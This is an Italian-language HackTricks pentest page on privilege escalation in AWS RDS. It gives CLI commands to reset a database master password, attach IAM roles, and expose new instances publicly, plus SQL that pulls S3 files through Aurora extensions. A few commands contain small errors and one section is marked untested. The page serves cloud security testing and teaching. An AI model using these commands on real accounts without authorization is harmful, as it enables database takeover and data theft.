AWS - RDS Privesc

Impara l'hacking su AWS da zero a esperto con htARTE (Esperto Red Team di HackTricks su AWS)!

Altri modi per supportare HackTricks:

RDS - Servizio di Database Relazionale

Per ulteriori informazioni su RDS, controlla:

pageAWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Con tale autorizzazione, un attaccante può modificare la password dell'utente principale e il login all'interno del database:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Dovrai essere in grado di contattare il database (di solito sono accessibili solo dall'interno delle reti).

Impatto potenziale: Trovare informazioni sensibili all'interno dei database.

rds-db:connect

Secondo la documentazione un utente con questa autorizzazione potrebbe connettersi all'istanza del database.

Abuso delle autorizzazioni IAM del ruolo RDS

Postgresql (Aurora)

Se esegui SELECT datname FROM pg_database; e trovi un database chiamato rdsadmin sai di essere all'interno di un database postgresql AWS.

Prima di tutto puoi verificare se questo database è stato utilizzato per accedere a qualsiasi altro servizio AWS. Potresti controllare questo guardando le estensioni installate:

SELECT * FROM pg_extension;

Se trovi qualcosa come aws_s3 puoi assumere che questo database abbia un certo tipo di accesso su S3 (ci sono altre estensioni come aws_ml e aws_lambda).

Inoltre, se hai le autorizzazioni per eseguire aws rds describe-db-clusters puoi vedere se il cluster ha un ruolo IAM allegato nel campo AssociatedRoles. Se ce n'è uno, puoi assumere che il database sia stato preparato per accedere ad altri servizi AWS. In base al nome del ruolo (o se puoi ottenere i permessi del ruolo) potresti indovinare a quali accessi extra il database ha.

Ora, per leggere un file all'interno di un bucket devi conoscere il percorso completo. Puoi leggerlo con:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Se avessi credenziali AWS grezze, potresti usarle anche per accedere ai dati di S3 con:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql non ha bisogno di cambiare alcuna variabile del gruppo di parametri per poter accedere a S3.

Mysql (Aurora)

All'interno di un mysql, se esegui la query SELECT User, Host FROM mysql.user; e c'è un utente chiamato rdsadmin, puoi assumere di essere all'interno di un database AWS RDS mysql.

All'interno del mysql esegui show variables; e se le variabili come aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role hanno valori, puoi assumere che il database sia pronto per accedere ai dati di S3.

Inoltre, se hai le autorizzazioni per eseguire aws rds describe-db-clusters puoi verificare se il cluster ha un ruolo associato, il che di solito significa accesso ai servizi AWS).

Ora, per leggere un file all'interno di un bucket devi conoscere il percorso completo. Puoi leggerlo con:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Un attaccante con i permessi rds:AddRoleToDBCluster e iam:PassRole può aggiungere un ruolo specificato a un'istanza RDS esistente. Ciò potrebbe consentire all'attaccante di accedere a dati sensibili o modificare i dati all'interno dell'istanza.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Impatto Potenziale: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS. Si noti che alcuni DB richiedono configurazioni aggiuntive come Mysql, che necessita di specificare il ruolo ARN nei gruppi di parametri anche.

rds:CreateDBInstance

Solo con questa autorizzazione un attaccante potrebbe creare una nuova istanza all'interno di un cluster che esiste già e ha un ruolo IAM allegato. Non sarà in grado di cambiare la password dell'utente principale, ma potrebbe essere in grado di esporre la nuova istanza del database su Internet:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

DA FARE: Test

Un attaccante con i permessi rds:CreateDBInstance e iam:PassRole può creare una nuova istanza RDS con un ruolo specificato allegato. L'attaccante potrebbe quindi accedere potenzialmente a dati sensibili o modificare i dati all'interno dell'istanza.

Alcuni requisiti del ruolo/profilo istanza da allegare (da qui):

  • Il profilo deve esistere nel tuo account.

  • Il profilo deve avere un ruolo IAM che Amazon EC2 ha il permesso di assumere.

  • Il nome del profilo istanza e il nome del ruolo IAM associato devono iniziare con il prefisso AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Impatto Potenziale: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.

rds:AddRoleToDBInstance, iam:PassRole

Un attaccante con i permessi rds:AddRoleToDBInstance e iam:PassRole può aggiungere un ruolo specificato a un'istanza RDS esistente. Ciò potrebbe consentire all'attaccante di accedere a dati sensibili o modificare i dati all'interno dell'istanza.

L'istanza del database deve essere al di fuori di un cluster per questo

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Impatto potenziale: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.

Impara l'hacking su AWS da zero a esperto con htARTE (Esperto Red Team di HackTricks su AWS)!

Altri modi per supportare HackTricks:

Last updated